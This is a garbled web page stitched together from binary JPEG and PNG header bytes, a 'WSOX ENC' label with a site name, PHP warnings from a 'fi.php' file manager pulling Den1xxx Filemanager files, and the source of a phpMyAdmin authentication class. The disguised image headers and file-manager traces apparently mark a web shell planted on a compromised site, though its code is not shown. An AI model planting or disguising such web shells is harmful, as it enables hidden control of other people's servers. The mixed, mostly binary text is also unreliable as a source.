1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
ipAllowDeny = new IpAllowDeny(); $this->template = new Template(); } /** * Displays authentication form */ abstract public function showLoginForm(): bool; /** * Gets authentication credentials */ abstract public function readCredentials(): bool; /** * Set the user and password after last checkings if required */ public function storeCredentials(): bool { global $cfg; $this->setSessionAccessTime(); $cfg['Server']['user'] = $this->user; $cfg['Server']['password'] = $this->password; return true; } /** * Stores user credentials after successful login. */ public function rememberCredentials(): void { } /** * User is not allowed to login to MySQL -> authentication failed * * @param string $failure String describing why authentication has failed */ public function showFailure($failure): void { Logging::logUser($this->user, $failure); } /** * Perform logout */ public function logOut(): void { global $config; /* Obtain redirect URL (before doing logout) */ if (! empty($GLOBALS['cfg']['Server']['LogoutURL'])) { $redirect_url = $GLOBALS['cfg']['Server']['LogoutURL']; } else { $redirect_url = $this->getLoginFormURL(); } /* Clear credentials */ $this->user = ''; $this->password = ''; /* * Get a logged-in server count in case of LoginCookieDeleteAll is disabled. */ $server = 0; if ($GLOBALS['cfg']['LoginCookieDeleteAll'] === false && $GLOBALS['cfg']['Server']['auth_type'] === 'cookie') { foreach (array_keys($GLOBALS['cfg']['Servers']) as $key) { if (! $config->issetCookie('pmaAuth-' . $key)) { continue; } $server = $key; } } if ($server === 0) { /* delete user's choices that were stored in session */ if (! defined('TESTSUITE')) { session_unset(); session_destroy(); } /* Redirect to login form (or configured URL) */ Core::sendHeaderLocation($redirect_url); } else { /* Redirect to other authenticated server */ $_SESSION['partial_logout'] = true; Core::sendHeaderLocation( './index.php?route=/' . Url::getCommonRaw(['server' => $server], '&') ); } } /** * Returns URL for login form. * * @return string */ public function getLoginFormURL() { return './index.php?route=/'; } /** * Returns error message for failed authentication. * * @param string $failure String describing why authentication has failed * * @return string */ public function getErrorMessage($failure) { global $dbi; if ($failure === 'empty-denied') { return __('Login without a password is forbidden by configuration (see AllowNoPassword)'); } if ($failure === 'root-denied' || $failure === 'allow-denied') { return __('Access denied!'); } if ($failure === 'no-activity') { return sprintf( __('You have been automatically logged out due to inactivity of %s seconds.' . ' Once you log in again, you should be able to resume the work where you left off.'), intval($GLOBALS['cfg']['LoginCookieValidity']) ); } $dbi_error = $dbi->getError(); if (! empty($dbi_error)) { return htmlspecialchars($dbi_error); } if (isset($GLOBALS['errno'])) { return '#' . $GLOBALS['errno'] . ' ' . __('Cannot log in to the MySQL server'); } return __('Cannot log in to the MySQL server'); } /** * Callback when user changes password. * * @param string $password New password to set */ public function handlePasswordChange($password): void { } /** * Store session access time in session. * * Tries to workaround PHP 5 session garbage collection which * looks at the session file's last modified time */ public function setSessionAccessTime(): void { if (isset($_REQUEST['guid'])) { $guid = (string) $_REQUEST['guid']; } else { $guid = 'default'; } if (isset($_REQUEST['access_time'])) { // Ensure access_time is in range <0, LoginCookieValidity + 1> // to avoid excessive extension of validity. // // Negative values can cause session expiry extension // Too big values can cause overflow and lead to same $time = time() - min(max(0, intval($_REQUEST['access_time'])), $GLOBALS['cfg']['LoginCookieValidity'] + 1); } else { $time = time(); } $_SESSION['browser_access_time'][$guid] = $time; } /** * High level authentication interface * * Gets the credentials or shows login form if necessary */ public function authenticate(): void { $success = $this->readCredentials(); /* Show login form (this exits) */ if (! $success) { /* Force generating of new session */ Session::secure(); $this->showLoginForm(); } /* Store credentials (eg. in cookies) */ $this->storeCredentials(); /* Check allow/deny rules */ $this->checkRules(); /* clear user cache */ Util::clearUserCache(); } /** * Check configuration defined restrictions for authentication */ public function checkRules(): void { global $cfg; // Check IP-based Allow/Deny rules as soon as possible to reject the // user based on mod_access in Apache if (isset($cfg['Server']['AllowDeny']['order'])) { $allowDeny_forbidden = false; // default if ($cfg['Server']['AllowDeny']['order'] === 'allow,deny') { $allowDeny_forbidden = true; if ($this->ipAllowDeny->allow()) { $allowDeny_forbidden = false; } if ($this->ipAllowDeny->deny()) { $allowDeny_forbidden = true; } } elseif ($cfg['Server']['AllowDeny']['order'] === 'deny,allow') { if ($this->ipAllowDeny->deny()) { $allowDeny_forbidden = true; } if ($this->ipAllowDeny->allow()) { $allowDeny_forbidden = false; } } elseif ($cfg['Server']['AllowDeny']['order'] === 'explicit') { if ($this->ipAllowDeny->allow() && ! $this->ipAllowDeny->deny()) { $allowDeny_forbidden = false; } else { $allowDeny_forbidden = true; } } // Ejects the user if banished if ($allowDeny_forbidden) { $this->showFailure('allow-denied'); } } // is root allowed? if (! $cfg['Server']['AllowRoot'] && $cfg['Server']['user'] === 'root') { $this->showFailure('root-denied'); } // is a login without password allowed? if ($cfg['Server']['AllowNoPassword'] || $cfg['Server']['password'] !== '') { return; } $this->showFailure('empty-denied'); } /** * Checks whether two factor authentication is active * for given user and performs it. */ public function checkTwoFactor(): void { $twofactor = new TwoFactor($this->user); /* Do we need to show the form? */ if ($twofactor->check()) { return; } $response = ResponseRenderer::getInstance(); if ($response->loginPage()) { if (defined('TESTSUITE')) { return; } exit; } echo $this->template->render('login/header'); echo Message::rawNotice( __('You have enabled two factor authentication, please confirm your login.') )->getDisplay(); echo $this->template->render('login/twofactor', [ 'form' => $twofactor->render(), 'show_submit' => $twofactor->showSubmit(), ]); echo $this->template->render('login/footer'); echo Config::renderFooter(); if (! defined('TESTSUITE')) { exit; } } }